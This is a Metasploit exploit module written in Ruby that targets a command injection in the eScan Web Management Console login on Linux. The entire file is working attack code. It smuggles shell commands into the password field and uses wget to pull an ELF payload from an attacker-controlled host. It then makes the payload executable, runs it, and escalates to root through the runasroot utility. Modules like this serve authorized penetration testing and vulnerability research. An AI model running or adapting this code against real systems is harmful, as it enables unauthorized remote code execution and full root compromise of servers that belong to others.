eScan Web Management Console Command Injection

`##  
# This module requires Metasploit: http//metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::HttpServer::HTML  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "eScan Web Management Console Command Injection",  
'Description' => %q{  
This module exploits a command injection vulnerability found in the eScan Web Management  
Console. The vulnerability exists while processing CheckPass login requests. An attacker  
with a valid username can use a malformed password to execute arbitrary commands. With  
mwconf privileges, the runasroot utility can be abused to get root privileges. This module  
has been tested successfully on eScan 5.5-2 on Ubuntu 12.04.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Joxean Koret', # Vulnerability Discovery and PoC  
'juan vazquez' # Metasploit module  
],  
'References' =>  
[  
[ 'URL', 'http://www.joxeankoret.com/download/breaking_av_software-pdf.tar.gz' ] # Syscan slides by Joxean  
],  
'Payload' =>  
{  
'BadChars' => "", # Real bad chars when injecting: "|&)(!><'\"` ", cause of it we're avoiding ARCH_CMD  
'DisableNops' => true  
},  
'Arch' => ARCH_X86,  
'Platform' => 'linux',  
'Privileged' => true,  
'Stance' => Msf::Exploit::Stance::Aggressive,  
'Targets' =>  
[  
['eScan 5.5-2 / Linux', {}],  
],  
'DisclosureDate' => "Apr 04 2014",  
'DefaultTarget' => 0))  
  
register_options(  
[  
Opt::RPORT(10080),  
OptString.new('USERNAME', [ true, 'A valid eScan username' ]),  
OptString.new('TARGETURI', [true, 'The base path to the eScan Web Administration console', '/']),  
OptString.new('EXTURL', [ false, 'An alternative host to request the EXE payload from' ]),  
OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10]),  
OptString.new('WRITABLEDIR', [ true, 'A directory where we can write files', '/tmp' ]),  
OptString.new('RUNASROOT', [ true, 'Path to the runasroot binary', '/opt/MicroWorld/sbin/runasroot' ]),  
], self.class)  
end  
  
  
def check  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path.to_s, 'index.php')  
})  
  
if res and res.code == 200 and res.body =~ /eScan WebAdmin/  
return Exploit::CheckCode::Detected  
end  
  
Exploit::CheckCode::Unknown  
end  
  
def cmd_exec(session, cmd)  
case session.type  
when /meterpreter/  
print_warning("#{peer} - Use a shell payload in order to get root!")  
when /shell/  
o = session.shell_command_token(cmd)  
o.chomp! if o  
end  
return "" if o.nil?  
return o  
end  
  
# Escalating privileges here because runasroot only can't be executed by  
# mwconf uid (196).  
def on_new_session(session)  
cmd_exec(session, "#{datastore['RUNASROOT'].shellescape} /bin/sh")  
super  
end  
  
def primer  
@payload_url = get_uri  
wget_payload  
end  
  
def on_request_uri(cli, request)  
print_status("Request: #{request.uri}")  
if request.uri =~ /#{Regexp.escape(get_resource)}/  
print_status("Sending payload...")  
send_response(cli, @pl)  
end  
end  
  
def exploit  
@pl = generate_payload_exe  
if @pl.blank?  
fail_with(Failure::BadConfig, "#{peer} - Failed to generate the ELF, select a native payload")  
end  
@payload_url = ""  
  
if datastore['EXTURL'].blank?  
begin  
Timeout.timeout(datastore['HTTPDELAY']) {super}  
rescue Timeout::Error  
end  
exec_payload  
else  
@payload_url = datastore['EXTURL']  
wget_payload  
exec_payload  
end  
end  
  
# we execute in this way, instead of an ARCH_CMD  
# payload because real badchars are: |&)(!><'"`[space]  
def wget_payload  
@dropped_elf = rand_text_alpha(rand(5) + 3)  
command = "wget${IFS}#{@payload_url}${IFS}-O${IFS}#{File.join(datastore['WRITABLEDIR'], @dropped_elf)}"  
  
print_status("#{peer} - Downloading the payload to the target machine...")  
res = exec_command(command)  
if res && res.code == 302 && res.headers['Location'] && res.headers['Location'] =~ /index\.php\?err_msg=password/  
register_files_for_cleanup(File.join(datastore['WRITABLEDIR'], @dropped_elf))  
else  
fail_with(Failure::Unknown, "#{peer} - Failed to download the payload to the target")  
end  
end  
  
def exec_payload  
command = "chmod${IFS}777${IFS}#{File.join(datastore['WRITABLEDIR'], @dropped_elf)};"  
command << File.join(datastore['WRITABLEDIR'], @dropped_elf)  
  
print_status("#{peer} - Executing the payload...")  
exec_command(command, 1)  
end  
  
def exec_command(command, timeout=20)  
send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path.to_s, 'login.php'),  
'vars_post' => {  
'uname' => datastore['USERNAME'],  
'pass' => ";#{command}",  
'product_name' => 'escan',  
'language' => 'English',  
'login' => 'Login'  
}  
}, timeout)  
end  
  
end  
`